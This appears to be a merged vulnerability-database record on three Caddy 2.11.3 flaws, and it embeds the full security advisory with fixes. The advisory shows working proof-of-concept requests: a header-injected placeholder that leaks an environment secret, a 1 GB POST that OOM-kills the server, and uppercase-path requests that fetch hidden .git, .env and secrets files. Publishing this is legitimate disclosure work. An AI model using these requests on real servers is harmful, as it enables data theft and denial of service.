{"id":"EUVD-2026-85514","revision":null,"records":[{"revision":"3a7817006afb41ab82f647fe2a3550a4","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-77281","aliases":[],"title":"Caddy: rewrite placeholder re-expansion","description":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The  issue is fixed in version 2.11.4.","state":0,"publishedAt":"2026-09-17T21:04:58.4+00:00","modifiedAt":"2026-09-18T14:43:34.818+00:00","affected":[{"ecosystem":"Vendor product","name":"caddy","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"caddyserver\",\n                    \"product\": \"caddy\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 2.11.4\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9","https://github.com/caddyserver/caddy/pull/7761","https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb","https://github.com/caddyserver/caddy/releases/tag/v2.11.4"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-77281","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-77281","identifiers":["CVE-2026-77281"]},"retained":false,"historicalAffected":[]},{"revision":"72a5ce7f081e4402b82eacc7b127c884","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-92284","aliases":[],"title":"Caddy: Unbounded body buffer via {http.request.body} placeholder — memory exhaustion DoS","description":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body middleware limits apply, allowing memory exhaustion and process termination.","state":0,"publishedAt":"2026-09-23T17:58:42.789+00:00","modifiedAt":"2026-09-23T19:21:14.152+00:00","affected":[{"ecosystem":"Vendor product","name":"caddy","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"caddyserver\",\n                    \"product\": \"caddy\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 2.11.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.9,"severity":"MEDIUM"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-92284","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-92284","identifiers":["CVE-2026-92284"]},"retained":false,"historicalAffected":[]},{"revision":"b00f035a40ee4c6a882327b85893fb2e","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-92700","aliases":[],"title":"Caddy: fileHidden() case-sensitive pattern bypass — exposes \"hidden\" files via case variation","description":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.","state":0,"publishedAt":"2026-09-23T17:58:45.844+00:00","modifiedAt":"2026-09-23T19:23:08.504+00:00","affected":[{"ecosystem":"Vendor product","name":"caddy","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"caddyserver\",\n                    \"product\": \"caddy\",\n                    \"versions\": [\n                        {\n                            \"version\": \"<= 2.11.3\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.3,"severity":"MEDIUM"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-92700","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-92700","identifiers":["CVE-2026-92700"]},"retained":false,"historicalAffected":[]},{"revision":"163d35fc6ae243b79ac5b59712e34dba","observedAt":"2026-11-11T16:08:09.174+00:00","statement":{"source":"euvd","id":"EUVD-2026-82474","aliases":["CVE-2026-77281","GHSA-j8px-rmrx-76h9"],"title":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() ca…","description":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The  issue is fixed in version 2.11.4.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L","score":6.5,"severity":null}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9","https://github.com/caddyserver/caddy/pull/7761","https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb","https://github.com/caddyserver/caddy/releases/tag/v2.11.4"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-82474","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 17, 2026, 9:04:58 PM","dateUpdated":"Sep 18, 2026, 2:43:34 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-82474","identifiers":["EUVD-2026-82474","CVE-2026-77281","GHSA-j8px-rmrx-76h9"]},"retained":false,"historicalAffected":[]},{"revision":"37c40dea18c04c96b79cb76f3abc7b72","observedAt":"2026-11-11T18:10:38.296+00:00","statement":{"source":"euvd","id":"EUVD-2026-85514","aliases":["CVE-2026-92284"],"title":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body midd…","description":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body middleware limits apply, allowing memory exhaustion and process termination.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","score":6.9,"severity":null}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-85514","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 23, 2026, 5:58:42 PM","dateUpdated":"Sep 23, 2026, 7:21:14 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-85514","identifiers":["EUVD-2026-85514","CVE-2026-92284"]},"retained":false,"historicalAffected":[]},{"revision":"82e4bad9dd1a43819549eede77002420","observedAt":"2026-11-11T18:10:24.225+00:00","statement":{"source":"euvd","id":"EUVD-2026-85515","aliases":["CVE-2026-92700"],"title":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules o…","description":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","score":6.3,"severity":null}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-85515","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Sep 23, 2026, 5:58:45 PM","dateUpdated":"Sep 23, 2026, 7:23:08 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-85515","identifiers":["EUVD-2026-85515","CVE-2026-92700"]},"retained":false,"historicalAffected":[]},{"revision":"7ea77780a41e4a94af6bb7f7d5a7569b","observedAt":"2026-10-25T16:19:04.694+00:00","statement":{"source":"nvd","id":"CVE-2026-77281","aliases":[],"title":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() ca…","description":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, three configuration-dependent weaknesses affect the handler and placeholder layer. In modules/caddyhttp/rewrite/rewrite.go, Rewrite.Rewrite() can pass attacker-controlled replacement bytes through buildQueryString for a second placeholder expansion when a rewrite URI ends with a literal question mark, allowing injected environment or request-variable placeholders to disclose data and, when the file provider is registered, allowing injected file placeholders to disclose readable files. The  issue is fixed in version 2.11.4.","state":0,"publishedAt":"2026-09-17T21:17:37.89+00:00","modifiedAt":"2026-09-24T21:16:28.12+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L","score":6.5,"severity":"MEDIUM"}],"references":["https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb","https://github.com/caddyserver/caddy/pull/7761","https://github.com/caddyserver/caddy/releases/tag/v2.11.4","https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77281","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-94","CWE-178","CWE-770"],"productCriteria":[],"sourceDates":{"published":"2026-09-17T21:17:37.890","lastModified":"2026-09-24T21:16:28.120"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-77281","identifiers":["CVE-2026-77281"]},"retained":false,"historicalAffected":[]},{"revision":"7f3b4f6fe511461cbedfec28343a5bab","observedAt":"2026-10-25T16:19:22.228+00:00","statement":{"source":"nvd","id":"CVE-2026-92284","aliases":[],"title":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body midd…","description":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body middleware limits apply, allowing memory exhaustion and process termination.","state":0,"publishedAt":"2026-09-23T19:19:43.94+00:00","modifiedAt":"2026-09-30T16:42:45.247+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.9,"severity":"MEDIUM"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92284","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-770"],"productCriteria":[],"sourceDates":{"published":"2026-09-23T19:19:43.940","lastModified":"2026-09-30T16:42:45.247"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-92284","identifiers":["CVE-2026-92284"]},"retained":false,"historicalAffected":[]},{"revision":"daa3ffbaf0f64d06a424d87599ee8921","observedAt":"2026-10-25T16:19:22.228+00:00","statement":{"source":"nvd","id":"CVE-2026-92700","aliases":[],"title":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules o…","description":"Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.","state":0,"publishedAt":"2026-09-23T19:19:44.28+00:00","modifiedAt":"2026-09-30T16:42:45.247+00:00","affected":[],"metrics":[{"system":"CVSS 4.0 · security-advisories@github.com · Secondary","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","score":6.3,"severity":"MEDIUM"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-92700","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-178"],"productCriteria":[],"sourceDates":{"published":"2026-09-23T19:19:44.280","lastModified":"2026-09-30T16:42:45.247"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-92700","identifiers":["CVE-2026-92700"]},"retained":false,"historicalAffected":[]},{"revision":"654a8b79d3324ec08157fa26f7bd83f5","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-j8px-rmrx-76h9","aliases":["CVE-2026-77281","CVE-2026-92284","CVE-2026-92700","GO-2026-6512"],"title":"Caddy: rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass","description":"# Caddy v2.11.3 — Three vulnerabilities in handler/placeholder layer\n\n**Tested against:** `caddy:2.11.3` (official Docker image, SHA verified at runtime)\n**Reproduction environment:** Docker Desktop 4.73.1 / Engine 29.4.3 on Windows 10 host, isolated containers, no network egress required for any of the exploits\n\nThis advisory bundles three independent issues discovered together during a source review of the placeholder/replacer layer. Each issue has been reproduced end-to-end against the unmodified `caddy:2.11.3` image with the minimal Caddyfile that the documentation suggests for the affected feature.\n\n---\n\n## Issue 1: Rewrite handler — placeholder double-expansion enables env var / file disclosure\n\n**File:** `modules/caddyhttp/rewrite/rewrite.go:215-249` and `buildQueryString` at `327`\n**Class:** CWE-94 (Code Injection), same bug class as CVE-2026-30852 (`vars_regexp`)\n**Severity:** Low (requires operator config with trailing `?` in rewrite URI)\n\n### Root cause\n\nWhen the operator's `rewrite` URI template:\n1. Contains a placeholder that resolves to request data (e.g. `{http.request.header.X-Foo}`), AND\n2. Ends with a literal `?` (with empty query side)\n\n…then the bytes produced by the **first** Replacer pass (which include attacker-controlled header values) are fed through `buildQueryString`, which runs a **second** Replacer pass and resolves any placeholders the attacker injected.\n\n```go\n// rewrite.go (abridged)\nnewPath = repl.ReplaceAll(path, \"\")            // pass 1 — header expanded\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n    var injectedQuery string\n    newPath, injectedQuery = before, after\n    if query == \"\" {                            // trailing-? branch\n        query = injectedQuery                   // attacker bytes flow into 'query'\n    }\n}\nif query != \"\" {\n    newQuery = buildQueryString(query, repl)    // pass 2 — RE-EXPANDS attacker input\n}\n```\n\nThis is the same gadget that was patched in `vars_regexp` (CVE-2026-30852). The fix did not extend to `rewrite`, and there is no equivalent regression test for it in `rewrite_test.go` (compare `vars_test.go:63,69,75`).\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n    admin off\n    auto_https off\n}\n\n:8080 {\n    rewrite * /serve/{http.request.header.X-Fwd}?\n    respond \"PATH={path} QUERY={query}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n  caddy:\n    image: caddy:2.11.3\n    environment:\n      DATABASE_URL: \"postgres://leaked:supersecret@dbserver/production\"\n    ports: [\"8080:8080\"]\n    volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit:\n```\n$ docker compose up -d\n$ curl \"http://localhost:8080/anything\" -H \"X-Fwd: foo?{env.DATABASE_URL}=leak\"\nPATH=/serve/foo QUERY=postgres%3A%2F%2Fleaked%3Asupersecret%40dbserver%2Fproduction=leak\n```\n\nURL-decoded query: `postgres://leaked:supersecret@dbserver/production=leak`. The `DATABASE_URL` env var has been exfiltrated into the request URL, where it will appear in access logs, get forwarded to upstreams via `reverse_proxy`, and be readable via `{http.request.uri.query}` in any downstream handler.\n\n### Available read primitives\n\nThe same gadget exposes any placeholder the attacker can name in their injected substring:\n- `{env.X}` — any env var on the Caddy process\n- `{file./path}` — any file readable by the Caddy process (if `file` provider is registered)\n- `{vars.X}` — Caddy-internal request variables\n\n### Suggested fix (mirrors the CVE-2026-30852 patch)\n\nAfter splitting at `?`, sanitize placeholder syntax in the injected query before passing it to `buildQueryString`:\n\n```go\nif before, after, found := strings.Cut(newPath, \"?\"); found {\n    var injectedQuery string\n    newPath, injectedQuery = before, after\n    if query == \"\" {\n        injectedQuery = strings.ReplaceAll(injectedQuery, \"{\", \"%7B\")\n        injectedQuery = strings.ReplaceAll(injectedQuery, \"}\", \"%7D\")\n        query = injectedQuery\n    }\n}\n```\n\nAlso recommend adding equivalent regression tests in `rewrite_test.go` to the three \"is not re-expanded\" tests in `vars_test.go`.\n\n---\n\n## Issue 2: Unbounded body buffer via `{http.request.body}` placeholder — memory exhaustion DoS\n\n**File:** `modules/caddyhttp/replacer.go:217-245` (placeholder resolution for `http.request.body`)\n**Class:** CWE-770 (Allocation of Resources Without Limits)\n**Severity:** Moderate (any operator using the documented `log_append body {http.request.body}` pattern is vulnerable)\n\n### Root cause\n\nWhen any handler references the `{http.request.body}` placeholder, the replacer code path reads the entire request body into a byte slice via `io.Copy(buf, req.Body)` with **no `LimitReader`** wrapping. The `needsEarly` flag bypasses the `request_body` middleware's size limit, because the placeholder is resolved before that middleware sees the request.\n\nThis means an attacker can send a request body of any size (up to whatever `Content-Length` they declare, or unlimited chunked) and Caddy will buffer all of it into RAM before any size check fires.\n\n### Reproduction (real Caddy 2.11.3, 512 MB container cap)\n\n`Caddyfile`:\n```\n{\n    admin off\n    auto_https off\n}\n\n:8080 {\n    log_append body {http.request.body}\n    respond \"OK, length received: {http.request.header.Content-Length}\"\n}\n```\n\n`docker-compose.yml`:\n```yaml\nservices:\n  caddy:\n    image: caddy:2.11.3\n    mem_limit: 512m\n    memswap_limit: 512m\n    ports: [\"8080:8080\"]\n    volumes: [\"./Caddyfile:/etc/caddy/Caddyfile:ro\"]\n```\n\nExploit (Windows PowerShell):\n```\nPS> fsutil file createnew big.bin 1073741824\nFile C:\\caddy-verify\\test3-body-dos\\big.bin is created\nPS> curl.exe -X POST --data-binary \"@big.bin\" -H \"Expect:\" --max-time 120 http://localhost:8080/\ncurl: (28) Operation timed out after 120010 milliseconds with 0 bytes received\n```\n\nContainer state immediately after:\n```\nPS> docker ps -a --filter name=caddy-verify-3\nCONTAINER ID   IMAGE         STATUS                       NAMES\n7f8ba392e7b5   caddy:2.11.3  Exited (137) 2 minutes ago   caddy-verify-3\n\nPS> docker inspect caddy-verify-3 --format \"ExitCode={{.State.ExitCode}} OOMKilled={{.State.OOMKilled}}\"\nExitCode=137 OOMKilled=true\n```\n\n`OOMKilled=true` is dispositive — the Linux kernel's OOM killer fired. Caddy's logs cut off cleanly after `\"serving initial configuration\"` with no error message, which is the signature of a process killed mid-allocation by SIGKILL.\n\nA small body works fine:\n```\n$ curl -X POST -d \"hello world\" http://localhost:8080/\nOK, length received: 11\n```\n\n### Real-world exploitability\n\nThe `log_append body {http.request.body}` pattern is in Caddy's documentation as a debugging aid for request troubleshooting and is widely used. Other affected configurations include CEL matchers like `expression {http.request.body}.contains('admin')`, custom header forwarding with `header_up X-Original-Body {http.request.body}`, and any third-party module that resolves the placeholder.\n\nContainer memory limits in Docker / Kubernetes will result in OOM-kills as shown above; on bare-metal Caddy without cgroup limits, the attacker can exhaust all host RAM and trigger swap thrashing or system-wide instability.\n\n### Suggested fix\n\nWrap the body read with a `LimitReader` keyed off either:\n1. The operator's configured `request_body.max_size` (if set), or\n2. A sane built-in default (proposal: 10 MB), with an opt-out / opt-up directive for operators who genuinely need to log large bodies.\n\nIf the placeholder is referenced and the body exceeds the limit, the placeholder should resolve to a truncation marker or empty string, and a warning should be logged.\n\n---\n\n## Issue 3: `fileHidden()` case-sensitive pattern bypass — exposes \"hidden\" files via case variation\n\n**File:** `modules/caddyhttp/fileserver/staticfiles.go:669-718` (the `fileHidden` function and `filepath.Match` call)\n**Class:** CWE-178 (Improper Handling of Case Sensitivity)\n**Severity:** Moderate (affects all macOS deployments, all Windows deployments, and any Linux deployment where mixed-case directories exist)\n\n### Root cause\n\n`fileHidden()` uses `filepath.Match`, which is **case-sensitive**. However:\n- **macOS APFS** is case-insensitive by default\n- **Windows NTFS** is case-insensitive by default\n- **Linux ext4** can be configured with the `casefold` flag, and even without it, build pipelines / backup restores / typos can create same-name-different-case directories side by side\n\nOn a case-insensitive filesystem, the OS resolves `/.git` and `/.GIT` to the same directory, but Caddy's hide check only fires on the exact-case literal `.git`. Result: the file is served via the uppercase URL.\n\nOn a case-sensitive filesystem where both `.git` and `.GIT` exist as separate directories, Caddy hides only `.git` and exposes `.GIT`.\n\n### Reproduction (real Caddy 2.11.3)\n\n`Caddyfile`:\n```\n{\n    admin off\n    auto_https off\n}\n\n:8080 {\n    root * /srv\n    file_server {\n        hide .git .env secrets\n    }\n}\n```\n\nSetup: create six files inside the container (an Alpine setup container writes them so the case-distinct directories survive on the case-sensitive ext4 inside the Linux container):\n\n```\n/srv/.git/HEAD                \"ref: refs/heads/main\"\n/srv/.GIT/HEAD                \"ref: refs/heads/main (UPPERCASE BYPASS)\"\n/srv/.env                     \"DATABASE_URL=postgres://user:pass@host\"\n/srv/.ENV                     \"DATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\"\n/srv/secrets/api.txt          \"supersecret_api_key=sk_live_real\"\n/srv/SECRETS/api.txt          \"supersecret_api_key=sk_live_real (UPPERCASE BYPASS)\"\n```\n\nTest transcript (all three hide rules — `.git`, `.env`, `secrets` — bypassed via uppercase):\n\n```\nPS> curl.exe -i http://localhost:8080/.git/HEAD\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS> curl.exe -i http://localhost:8080/.GIT/HEAD\nHTTP/1.1 200 OK\nContent-Length: 40\nref: refs/heads/main (UPPERCASE BYPASS)\n\nPS> curl.exe -i http://localhost:8080/.env\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS> curl.exe -i http://localhost:8080/.ENV\nHTTP/1.1 200 OK\nContent-Length: 58\nDATABASE_URL=postgres://user:pass@host (UPPERCASE BYPASS)\n\nPS> curl.exe -i http://localhost:8080/secrets/api.txt\nHTTP/1.1 404 Not Found\nContent-Length: 0\n\nPS> curl.exe -i http://localhost:8080/SECRETS/api.txt\nHTTP/1.1 200 OK\nContent-Length: 52\nContent-Type: text/plain; charset=utf-8\nsupersecret_api_key=sk_live_real (UPPERCASE BYPASS)\n```\n\nThree separate hide rules, three separate uppercase bypasses, all 200 OK with the \"hidden\" content served.\n\n### Why this matters in practice\n\n`.git`, `.env`, and `secrets/` are three of the most common entries in production Caddy `hide` configurations because they correspond to high-value attacker targets:\n- `.git/HEAD` + `.git/config` + `.git/objects/` → source code disclosure\n- `.env` → credentials, API keys, database connection strings\n- `secrets/` → operator-named bucket of anything sensitive\n\nThe bug means that on macOS and Windows hosts (and a subset of Linux hosts), the `hide` directive provides **no protection at all** for these files — only psychological protection. An attacker familiar with this bug will probe with case variants before assuming the files aren't there.\n\n### Suggested fix\n\nIn `fileHidden()`, on platforms with case-insensitive filesystems (or when the configured filesystem is case-insensitive), perform the match against the lowercase request path and lowercase pattern. Go's standard library does not expose a portable \"is this filesystem case-insensitive\" check, so a reasonable conservative approach is to always lowercase both sides on `GOOS=darwin` and `GOOS=windows`, and to document for Linux operators that they should not rely on `hide` if their filesystem has `casefold` enabled or if they manage their files with case-folding tools.\n\nAlternative: enforce that paths matched by `hide` are also matched case-insensitively on all platforms, with an opt-out for operators who genuinely need case-sensitive matching.\n\n---\n\n## Reproduction kit\n\nA full reproduction kit (Caddyfiles, docker-compose.yml files, runnable PoCs) is available on request. All exploits in this report were verified against the unmodified official `caddy:2.11.3` Docker image.\n\n## Reporter\n\nIndependent security research. No prior coordination, no other parties notified, no public disclosure prior to this report. Happy to coordinate on disclosure timeline and credit.","state":0,"publishedAt":"2026-09-18T13:09:27+00:00","modifiedAt":"2026-10-03T05:30:03.6929959+00:00","affected":[{"ecosystem":"Go","name":"github.com/caddyserver/caddy/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:L","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"MODERATE"}],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9","https://nvd.nist.gov/vuln/detail/CVE-2026-77281","https://github.com/caddyserver/caddy/pull/7761","https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb","https://github.com/caddyserver/caddy","https://github.com/caddyserver/caddy/releases/tag/v2.11.4"],"sourceUrl":"https://github.com/advisories/GHSA-j8px-rmrx-76h9","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-j8px-rmrx-76h9","identifiers":["GHSA-j8px-rmrx-76h9","CVE-2026-77281","CVE-2026-92284","CVE-2026-92700","GO-2026-6512"]},"retained":false,"historicalAffected":[]},{"revision":"6a001827aad9440bafb82ef570341b84","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-6512","aliases":["CVE-2026-77281","CVE-2026-92284","CVE-2026-92700","GHSA-j8px-rmrx-76h9"],"title":"Vulnerabilities in handler/placeholder layer in github.com/caddyserver/caddy","description":"Rewrite placeholder re-expansion, unbounded body buffer DoS, and fileHidden case-sensitivity bypass in github.com/caddyserver/caddy","state":0,"publishedAt":"2026-10-01T20:23:42+00:00","modifiedAt":"2026-10-01T20:55:47.8862751+00:00","affected":[{"ecosystem":"Go","name":"github.com/caddyserver/caddy/v2","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"2.11.4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/caddyserver/caddy/security/advisories/GHSA-j8px-rmrx-76h9","https://github.com/caddyserver/caddy/commit/176b043b0104cee3f894023cd5a598ac29e404bb","https://github.com/caddyserver/caddy/pull/7761","https://github.com/caddyserver/caddy/releases/tag/v2.11.4"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-6512","license":"OSV · upstream source license applies","key":"osv:GO-2026-6512","identifiers":["GO-2026-6512","CVE-2026-77281","CVE-2026-92284","CVE-2026-92700","GHSA-j8px-rmrx-76h9"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of 